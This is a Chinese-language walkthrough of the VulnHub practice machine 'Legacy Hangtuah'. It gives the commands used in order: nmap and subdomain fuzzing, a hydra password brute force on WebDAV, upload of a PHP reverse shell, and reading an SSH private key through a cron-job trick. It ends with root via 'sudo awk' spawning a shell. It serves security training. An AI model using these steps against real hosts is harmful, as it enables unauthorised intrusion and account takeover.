文章目录
靶机信息
靶机下载地址:https://www.vulnhub.com/entry/legacy-hangtuah,539/
一、确认靶机的ip、端口、服务
arp-scan -interface=eth1 --localnet
nmap -A 192.168.7.161 -p-
确认靶机ip为192.168.7.161,开启了80、22、777端口,分别对应HTTP、SSH、FTP服务。
二、FTP渗透
nmap扫描发现ftp允许匿名登录
lftp 192.168.7.161 -p 777
user anonymous
登录后发现无法正常执行命令
三、HTTP渗透
1.网站根目录扫描
网站首页为apache2
dirsearch -u http://192.168.7.161
访问获取到域名信息legacyhangtuah.com
2、域名信息搜集
绑定域名后访问网页
dirsearch -u http://legacyhangtuah.com
依次访问后未发现可利用信息,因为此类有域名的题目常见还有子域名,故接下来的思路以子域名爆破为主
3、子域名爆破
wfuzz -H 'HOST: FUZZ.legacyhangtuah.com' -u 'http://legacyhangtuah.com/' -w /root/dict/web.txt --hw 968,53
将door.legacyhangtuah.com添加到hosts后访问
翻译大意如下:
4、通过webdav组件获取webshell
注意到上述提到了backup,可能该子域名下存在备份文件,进行网站下扫描
gobuster dir -u http://door.legacyhangtuah.com/ -w /root/dict/web.txt -x php,html,txt,bak
发现webdav路径,访问
一般webdav默认用户名为admin,用hydra尝试爆破
hydra -l admin -P /usr/share/wordlists/rockyou.txt door.legacyhangtuah.com http-get /webdav
用admin:admin进行登录查看
下载passwd.dav文件,发现是类似/etc/shadow类型的加密账号密码
用john破解,依然是admin:admin,猜测主机存在admin用户且密码为admin,尝试ssh登录后失败
切换下思路,用webdav上传个反弹shell
cadaver http://door.legacyhangtuah.com/webdav/
put Desktop/RS.php
刷新后出现反弹shell,nc开启监听后访问获取webshell
四、后渗透提权
1.定时任务提权
先模拟终端
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python3 /tmp/asdf.py
查找可疑文件,发现/var/www下存在可疑文件夹chest和历史命令文件.bash_history
先看看chest,未发现可利用的信息
查看.bash_history,发现反复出现的两个可疑文件send_letter.txt和official_letter.txt,且有两条覆写命令中包含敏感文件/etc/passwd和id_rsa
查找发现send_letter.txt和official_letter.txt路径,两个文件都与pendekar用户有关,猜测下一步的提权目标用户就是pendekar
find / -name "send_letter.txt" 2>/dev/null
find / -name "official_letter.txt" 2>/dev/null
在/opt/pendekar下发现两个文件,查看信息
进入/home/pendekar,查看send_letter.txt
试了下pendekar用户目录下其他的一些文件,基本没有什么访问权限,然后重新查看send_letter.txt发现内容发生变化,official_letter.txt也发生了变化
根据之前的命令历史,猜测有一个定时任务,将/home/pendekar/gold路径下随机文件路径写入到official_letter.txt中,而send_letter.txt的内容就是该随机文件的内容
那么根据之前的命令历史和上面的推断,两条覆写命令可以对敏感文件/etc/passwd和id_rsa进行读取,那么尝试写入pendekar的ssh私钥路径
echo "/home/pendekar/.ssh/id_rsa" > official_letter.txt
cat /home/pendekar/send_letter.txt
通过私钥登录pendekar
ssh pendekar@192.168.7.161 -i id_rsa
拿到flag1
2、ssh私钥提权
进入hangtuah用户目录,查看可疑文件lastnotes.txt
疑似是摩斯密码,去网站进行解密
解密网站:https://www.boxentriq.com/code-breaking/morse-code?ref=infosecarticles.com
解密后大意为我们已经有权限了,就是"KEY",联想到的就只能是ssh的私钥了,猜测hangtuah用户与pendekar用户共用同一密钥
ssh hangtuah@192.168.7.161 -i id_rsa
3、sudo命令提权
sudo -l查看可以sudo执行的命令
在GTFO上搜索awk,使用对应提权命令
GTFO网址:https://gtfobins.github.io/
sudo awk 'BEGIN {system("/bin/sh")}'
拿到/root下flag,结束